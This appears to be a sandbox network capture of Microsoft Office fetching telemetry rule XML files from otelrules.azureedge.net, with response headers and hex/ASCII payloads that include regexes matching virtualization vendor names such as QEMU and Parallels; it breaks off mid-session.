2024-12-07 21:40:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214041Z-r1cf579d778dndrdhC1EWR4b240000000330000000005xeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214042Z-r1cf579d778v97q7hC1EWRf95c0000000310000000007pgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214042Z-r1cf579d778w59f9hC1EWRze6w00000003p0000000007v9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214042Z-r1cf579d778d5zkmhC1EWRk6h800000003y0000000005mue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214042Z-r1cf579d778lntp7hC1EWR9gg4000000031g0000000009h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:43 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214043Z-r1cf579d778dfdgnhC1EWRd3w000000003ag0000000036e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214044Z-r1cf579d778qgtz2hC1EWRmgks0000000390000000005yv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:45 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214045Z-r1cf579d778dc6d7hC1EWR2vs800000004900000000008x5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:45 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214045Z-r1cf579d778lntp7hC1EWR9gg400000002v0000000008hds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:45 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214045Z-r1cf579d7786c2tshC1EWRr1gc0000000360000000002md8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:45 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214045Z-r1cf579d778g2t6ghC1EWRfggs0000000300000000001nzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:45 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214046Z-r1cf579d778d5zkmhC1EWRk6h80000000400000000002hsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
